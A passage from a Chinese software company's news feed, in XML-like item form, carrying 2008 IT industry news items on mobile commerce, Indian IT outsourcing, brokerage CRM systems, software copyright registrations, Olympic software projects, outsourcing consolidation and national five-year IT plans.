<text>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 据Data-monitor&amp;nbsp;调研数据显示，2008年全球移动商务用户数量将达到16.7亿，年收入将达到5540亿美元。同时，有调查预测：到2009年中国移动商务应用市场规模将达到300.5亿元人民币，年复合增长率将达到30.9%。&amp;nbsp;　　作为产业链的主导者，移动运营商已经看到了移动商务市场的商机，并开始采取行动。中国移动副总裁黄文林公开表示：“移动商务能有效地规避交易中的信用风险问题，推广使用移动商务，将更容易地把潜在电子商务用户转变为现实的电子商务用户。”为此，中国移动将利用国内第一个大型全功能移动电子商务平台的虚拟街市—移动商街，提供如移动财务、移动管理，移动电子商务等热点移动信息化服务。&amp;nbsp;　　据了解，移动商街已经在全国发展了10家区域运营中心，在21个重点中心城市开街，与100家合作伙伴形成了紧密渠道体系，注册商家达到20万家，注册用户更是突破了100万。而在用友移动的2008年移动商街发展战略上，将营销目标锁定为亿万手机用户，力图实现商业模式从“B2B”到“B2C”的转变，成为“中国移动电子商务的第一品牌”。&amp;nbsp;　　随着2008年北京奥运会的临近，诸多分析认为，在奥运3G应用的示范作用拉动下，2008年国内移动商务应用将更加普及，包括手机搜索、手机定位、手机游戏、手机音乐等个性化服务，将得到更广泛的应用，企业移动应用也将更加广泛，基于手机的应用无疑将成为2008年的新亮点。&amp;nbsp;　 </text>
<image> </image>
<keywords>2008年,全球,移动,商务,市场,保持, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-01-28 00:00 </pubDate>
</item>
<item>
<title>预测2011年印度IT服务市场将增至107.3亿 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/20.html </link>
<description>近日，据Gartner称，到2011年，印度IT服务市场将增长到107.3亿美元，5年内年均复合增长率为23.2%。 Gartner本周二表示，由于企业越来越难招聘和留住IT部门员工，将外部服务提供商作为一种选择，同时希望降低成本，更好地管理业务过程的增长。 印度最大零售连 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 近日，据Gartner称，到2011年，印度IT服务市场将增长到107.3亿美元，5年内年均复合增长率为23.2%。&amp;nbsp;　　Gartner本周二表示，由于企业越来越难招聘和留住IT部门员工，将外部服务提供商作为一种选择，同时希望降低成本，更好地管理业务过程的增长。&amp;nbsp;　　印度最大零售连锁商店Shopper's&amp;nbsp;Stop技术总监阿伦表示，员工流失并非是企业外包服务的主要原因。推动印度外包增长的是对新技术和新应用日益增长的需求。&amp;nbsp;　　阿伦说，Shopper's&amp;nbsp;Stop没有成立和管理一个很大的IT部门，而是与服务合作伙伴合作，向其45名IT员工提供支持。它外包的任务包括网络维护、台式机和服务器维护、监视企业资源规划应用、软件开发。&amp;nbsp;　　许多大银行和电信运营商已经外包了关键的IT业务，赢家是跨国服务公司。Gartner去年的一项调查显示，许多印度外包厂商忽略了印度市场而只看好出口，但是，随着美元日益疲软，这种情况可能会得到改变。&amp;nbsp;　　Gartner通过调查发现，去年，IBM、Tata&amp;nbsp;Consultancy&amp;nbsp;Services（TCS）、Wipro在印度IT外包服务市场上的份额达到了26.1%。IBM以11.2%的市场份额排在第一位；TCS和Wipro分别以10.9%和4.1%的市场份额排在第二、三位。&amp;nbsp;　 </text>
<image> </image>
<keywords>预测,2011年,印度,服务市场,增至, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-01-28 00:00 </pubDate>
</item>
<item>
<title>08年客户关系管理系统将成为券商投资重点 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/16.html </link>
<description>2007年中国证券市场进入了一个新的发展阶段，在股票指数连创新高的同时，一个最显著的特征就是证券交易量和开户量的持续增长。面对前所未有的火爆行情和交易量，券商的营业部网点在数量和面积上都无法跟上股市发展的需求。在这种情况下，非现场交易已经成为 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 2007年中国证券市场进入了一个新的发展阶段，在股票指数连创新高的同时，一个最显著的特征就是证券交易量和开户量的持续增长。面对前所未有的火爆行情和交易量，券商的营业部网点在数量和面积上都无法跟上股市发展的需求。在这种情况下，非现场交易已经成为证券交易的主流方式，特别是近年来，随着计算机和网络应用的普及，网上交易在总交易量中的比重不断上升，非现场交易越来越成为投资者的重要交易手段，借助电话、互联网、手机、PDA等非现场的交易方式所产生的综合交易量，在许多证券公司或证券营业部已经超过了现场委托的交易量。非现场交易所具备的低成本、跨地域、虚拟化的优势，必将使其取代营业部现场交易成为证券交易的主导模式，而对非现场客户的服务能力将是证券公司非现场交易领域竞争的核心。　　面对迅速膨胀的客户规模，证券公司一方面体验到业务快速发展的喜悦，另一方面也感受到在客户服务方面所承受的巨大压力，如何有效地扩展服务能力，提升服务水平已经成为2008年证券行业竞争的焦点。互联网在给传统券商带来创新盈利的同时,也带来了一些挑战。2008年非现场交易份额将大幅增加，客户的忠诚度随之降低,于是,客户关系管理(CRM)日益成为影响证券公司竞争力的核心要素。证券电子商务竞争的一个主要方面就是客户个性化服务,也就是基于网络技术和数据仓库的客户关系管理,通过网络与客户的交互,使券商得以更好地为客户服务。计世资讯(CCW&amp;nbsp;Research)研究认为，&amp;nbsp;2008年由于非现场交易份额大幅增加，券商将大力投资客户关系管理系统。　　目前整个证券行业日益注重客户的开发与服务，有价值的客户能给证券公司带来可观的成交量，证券公司也才能获得相应的服务费。许多券商目前已经意识到了未来信息化建设的重要工作要围绕着客户需求来进行，通过CRM一对一地向客户及时通报各种有用信息，针对不同层次的客户提供差别化的服务，这样证券公司才能确立竞争优势，赢得生存发展的空间。　　但目前有的证券公司已经建设的CRM系统的利用率却并不高，随着券商逐渐认识到客户关系的极端重要性，在CRM系统建设方面，2008年证券公司会进一步加大投入，以构建或完善客户分析系统、经纪人管理系统、证券咨询系统以及呼叫中心等。利用CRM挖掘优质客户、贯彻成本战略成为券商的首选，因此2008年客户关系管理系统具有很大市场机会，成为券商投资重点，券商将以此展开恶战。&amp;nbsp;　 </text>
<image> </image>
<keywords>08年,客户关系,管理系统,成为,券商, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-01-18 00:00 </pubDate>
</item>
<item>
<title>2007年软件登记数量创历年之最 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/53.html </link>
<description>日前从中国版权保护中心获悉，截止到2007年12月31日，经中国版权保护中心办理的计算机软件登记总量达25666件，同比增长了15.9%，为历年登记数量之最。 据中国版权保护中心主任段桂鉴介绍，在2007年登记的软件中，软件著作权登记占95.53%，其他登记为软件著作 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 日前从中国版权保护中心获悉，截止到2007年12月31日，经中国版权保护中心办理的计算机软件登记总量达25666件，同比增长了15.9%，为历年登记数量之最。&amp;nbsp;　　据中国版权保护中心主任段桂鉴介绍，在2007年登记的软件中，软件著作权登记占95.53%，其他登记为软件著作权转让合同和专有许可合同以及软件著作权质押合同登记。这表明自主开发的软件占绝大多数，反映出我国软件业自主创新能力的迅速提高。同时，企业的软件著作权登记申请量为23224&amp;nbsp;件，占申请总量的94.72%，表明我国自主创新的软件中，职务开发的软件占绝大多数，企业已成为软件产业发展和自主创新的主力军。根据登记人所在地区情况统计，全国软件著作权登记数量列前五位的是北京、广东、上海、浙江和江苏。这五个经济发达地区的软件著作权登记量占到了全年登记总量的四分之三。&amp;nbsp;　　我国软件登记数量自2003年开始持续增长，到去年创下历年登记数量之最，这说明国务院《鼓励软件产业和集成电路产业发展的若干政策》的实施取得了明显持久成效。近年来，软件著作权登记在软件企业证明权利归属、享受国家产业优惠政策以及解决软件著作权纠纷等方面发挥了重要作用，有力地促进了我国软件产业的发展。&amp;nbsp;　 </text>
<image> </image>
<keywords>2007年,软件,登记,数量,历年,之最, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-01-18 00:00 </pubDate>
</item>
<item>
<title>国内外软件巨头纷纷掘金科技奥运 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/54.html </link>
<description>信息技术的进步对世界体育和奥林匹克运动的发展产生了深远的影响。如果你未能如愿购买到北京奥运会羽毛球比赛门票，无论你身在何处，届时也可以享受现场激动人心的比赛场景，并以同样快的速度获知比赛结果，你的欢呼声响起的速度一点都不会迟于现场观众席上 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 信息技术的进步对世界体育和奥林匹克运动的发展产生了深远的影响。如果你未能如愿购买到北京奥运会羽毛球比赛门票，无论你身在何处，届时也可以享受现场激动人心的比赛场景，并以同样快的速度获知比赛结果，你的欢呼声响起的速度一点都不会迟于现场观众席上的球迷。&amp;nbsp;　　这主要得益于软件为奥运会带来的革命性的变化。先进的信息发布系统能使比分变化在一秒钟之内就在赛场转播席的触摸屏上显示出来，进而使比赛进程在瞬间传遍全球。信息技术已成为科技奥运不可分割的组成部分。从安全制证、精确计分以及向全球实时发送比赛成绩，信息技术在科技奥运上发挥着巨大的作用，也为软件业展现出巨大的商机。&amp;nbsp;　　实际上，各软件巨头早就瞄准了科技奥运的商机，并或多或少占有了各自的市场份额。微软成为北京奥运会系统软件供应商，将为北京奥运会的信息发布系统、现场计分系统等赛事服务系统，以及操作系统平台、办公软件系统、数据库软件等管理信息系统提供软件解决方案和服务。此外，微软还将配备专门的客户服务技术团队，为北京奥运会提供不间断的咨询服务和技术支持。&amp;nbsp;　　联想推出“联想奥运一点通”软件，该软件内含“奥运百科”、“聚焦2008”、“北京印象”、“我的奥运”、“奥运助手”和“联想奥运”六大栏目，可以提供全方位的奥运知识、奥运资讯甚至北京地区的旅游、交通和饮食信息。&amp;nbsp;　　IBM公司身份鉴定应用软件确保奥运参与人员安全。北京奥运村以及许多场地都实施门禁管制。IBM提供的身份鉴定应用软件，使用徽章作为个人身份确认辨识，再与柯达的技术相结合，该系统有助于确认奥运参与人员成员的身份。&amp;nbsp;　　用友软件助力北京奥运，全面启用用友NC集团财务系统构筑信息化管理平台，在北京奥组委集中财务管理系统建设的总体框架下，通过现代信息化的手段，实现财务管理的数字化、自动化；巩固财务集中管理的成果；加快落实集团式管理的进程，实现管理手段的现代化；实施集团式财务集中管理；实现财务管理理念、财务管理模式、财务管理职能的三个转变。通过软件系统的实施，建立起一个财务信息共享的平台，在这样一个先进而灵活的财务信息管理平台上完成奥组委的管理和控制，实现财务管理的数字化。&amp;nbsp;　　华体推出项目管理软件助北京奥运设施科学管理。其中，“华体工程管理信息系统”和“华体工程项目管理协同平台”将应用于北京奥运会场馆项目管理，能够满足奥运场馆实施阶段的管理需求，实现对奥运场馆有计划的动态管理和控制。&amp;nbsp;　　北京闻言科技有限公司推出一款手机软件——“听网”，为大家创造“用耳朵冲浪奥运”的全新信息体验方式。它以互联网为信息源，用听作为信息获取方式，以手机、PDA和笔记本电脑等移动信息终端为载体，为用户提供随时、随地、随意的“互联网听觉”服务。&amp;nbsp;　　实际上，也正是众多软件巨头的积极参与，才使得科技奥运如此精彩。北京奥运会的运动会管理系统、交通系统、医疗事件系统、员工信息系统等都依赖于软件而搭建起来，其中最引人注目的是北京奥运会将首次向媒体提供远程CIS，这个系统将向全世界发送实时的比赛数据及信息，将成为科技奥运的又一技术里程碑。&amp;nbsp;　 </text>
<image> </image>
<keywords>国内外,软件,巨头,纷纷,掘金,科技, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-01-18 00:00 </pubDate>
</item>
<item>
<title>软件外包产业亟待整合 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/55.html </link>
<description>对于目前国内软件外包服务市场增速下降的趋势，赛迪顾问分析师牟淑慧认为，产业环境制约了软件外包发展速度，未来几年，中国软件外包市场将以产业整合和结构调整为主线。 产业环境制约 首先，中国软件外包厂商规模 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 对于目前国内软件外包服务市场增速下降的趋势，赛迪顾问分析师牟淑慧认为，产业环境制约了软件外包发展速度，未来几年，中国软件外包市场将以产业整合和结构调整为主线。&amp;nbsp;　　产业环境制约&amp;nbsp;　　首先，中国软件外包厂商规模小、业务附加值低。目前，中国最大的软件外包企业东软从事软件外包业务的人员不到1万人，而印度infosy&amp;nbsp;s公司的全球员工达到8万人；东软年营收在1亿美元左右，而印度10亿美元的软件外包企业已经超过10个；印度软件外包企业每人每年所创造的营业收入为5万美元，中国企业则仅为1万-2万美元。&amp;nbsp;　　其次，外资外包企业对中国市场渗透加深。目前，包括欧美、印度的外包服务商在中国市场的影响力正在加深。TCS在中国的员工已有800人，2007年其在华合资公司已开始运作。EDS不但在武汉成立了中国首家全球服务中心，2008年还将在中国再建设一家全球服务中心。另外，像IBM的CGD在中国4个城市已达到2000多人的规模，HP的GDCC在中国3个城市的服务中心为欧美、日本以及大中国地区提供服务。&amp;nbsp;　　第三，跨国发包商对产业链的凝聚力加强。以微软为例，微软在华的战略合作伙伴已经有中软国际、湖南创智、山东浪潮、神州数码、浙大网新、宝信软件、亿阳信通、微标等，微软与合作伙伴在技术平台、软件外包、人才培训等方面展开合作，启动了365度合作伙伴计划。在业务上，计划3年后每年发给中国合作伙伴的外包订单超过4亿美元；在组织上，将整合中国软件外包企业合作接单、合作开发，通过整合产业链提升规模。另外，像IBM、诺基亚、摩托罗拉等也在业务上聚集了一批软件外包合作伙伴，经过几年的合作，发包商与接包商都获得了长足的发展。&amp;nbsp;　　产业整合和结构调整&amp;nbsp;　　牟淑慧认为，目前，我国软件外包市场的发展，正在由中心城市向二线城市延伸。在软件外包服务市场中，区域的发展由典型的重点城市带动，因此，软件外包服务的规模也主要集中在北京、大连、上海等地，这3个城市占了约50%的市场比例。但是，2007年这一局面正在被改变，沈阳、西安、成都、长春、济南、重庆、广州等城市在当地政府的支持下，软件外包产业规模迅速扩大，中国软件外包区域布局从“三足鼎立”变为“遍地开花”。&amp;nbsp;　　赛迪顾问预计，未来几年，中国软件外包市场将以产业整合和结构调整为主线。一方面，前两年，中国软件外包市场中并购、风险投资事件频繁，几乎所有软件及IT服务企业都希望搭上软件外包的列车，但从现在开始，中国软件外包产业的发展步伐将更加务实、理性和稳健，服务商将通过产业联盟、与发包商加深合作等途径，提升实力和可持续发展能力；另一方面，服务外包所涵盖的丰富内容使得服务商开始重新审视自己的业务，产业结构性的调整将推动BPO、SaaS、人力外包等业务的快速发展。&amp;nbsp;　 </text>
<image> </image>
<keywords>软件外包,产业,亟待,整合,对于,目前, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-01-18 00:00 </pubDate>
</item>
<item>
<title>集成电路软件信息化等IT领域十一五规划发布 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/49.html </link>
<description>1月9日消息，来自信息产业部网站的信息显示，我国集成电路、软件、信息化、电子基础材料和关键元器件、电子专用设备和仪器等五大IT领域的“十一五”规划已经于近日正式发布。 信息产业部称，在深入调研、广泛论证并开展一系列相关课题研究的基础上，信产部编 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 1月9日消息，来自信息产业部网站的信息显示，我国集成电路、软件、信息化、电子基础材料和关键元器件、电子专用设备和仪器等五大IT领域的“十一五”规划已经于近日正式发布。&amp;nbsp;　　信息产业部称，在深入调研、广泛论证并开展一系列相关课题研究的基础上，信产部编制并颁布了《集成电路产业“十一五”专项规划》、《软件产业“十一五”专项规划》、《电子基础材料和关键元器件“十一五”专项规划》、《电子专用设备和仪器“十一五”专项规划》及《信息技术改造提升传统产业“十一五”专项规划》等五个信息产业领域专项规划。&amp;nbsp;　　上述五大规划将刊登在信息产业部网站的相关专题中，同时刊发的还包括对专项规划的思路、目标以及主要任务和发展重点的解读。&amp;nbsp;　　由于IT领域受政府相关政策鼓励、税收优惠及政府采购的影响很大，因此这五大领域、特别是集成电路、软件、信息化这三大领域的“十一五”规划对整个行业的影响和意义非常重大。&amp;nbsp;　 </text>
<image> </image>
<keywords>集成电路,软件,信息化,领域,十一, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-01-14 00:00 </pubDate>
</item>
<item>
<title>中国应用软件产业年会在京落幕 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/50.html </link>
<description>1月8日，由中国软件行业协会财务及企业管理软件分会和软海风向网共同举办的“2007年中国软件用户年会暨精英人物和优秀企业颁奖”在北京世纪金源大酒店隆重举行。中国软件行业协会理事长陈冲、国家发展改革委员会中小企业司处长王建翔出席了会议，并发表了热 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 1月8日，由中国软件行业协会财务及企业管理软件分会和软海风向网共同举办的“2007年中国软件用户年会暨精英人物和优秀企业颁奖”在北京世纪金源大酒店隆重举行。中国软件行业协会理事长陈冲、国家发展改革委员会中小企业司处长王建翔出席了会议，并发表了热情洋溢的讲话。BO、用友软件、和佳软件、赛捷软件、传神联合等30多家软件企业总裁、来自全国各行各业的100多位用户代表以及众多媒体、专家齐聚一堂，共商软件产业发展大计。这是今年软件产业较大规模、涉及范围较广、影响也较为深远的一次用户同产业界的聚会。&amp;nbsp;　　此次盛会旨在促进中国软件企业如何服务制胜，如何根据市场形式逐渐转型，为用户提供更大的价值与服务，如何与用户相互配合，建立合作伙伴的关系，就服务提升软件价值，合作共赢产生发展等问题进行深度探讨。年会在内容和形式上进行了创新，其中最显著的变化是把用户作为会议的中心，如何做好用户的服务是本次会议讨论的焦点问题。本次年会特设两个互动环节，上午互动论坛，是专家和软件企业总裁对话，就软件产业从卖产品转型到卖服务应该跨越哪些瓶颈、注意哪些陷阱等议题展开讨论，并与场下用户及媒体互动。下半场互动环节是用户代表与软件企业总裁对话，围绕“用户究竟需要什么样的解决方案，厂商如何在客户的成功中成就自己，如何服务制胜”等主题各抒己见，会场气氛非常热烈，碰撞出许多智慧的火花。&amp;nbsp;　　对于中国软件产
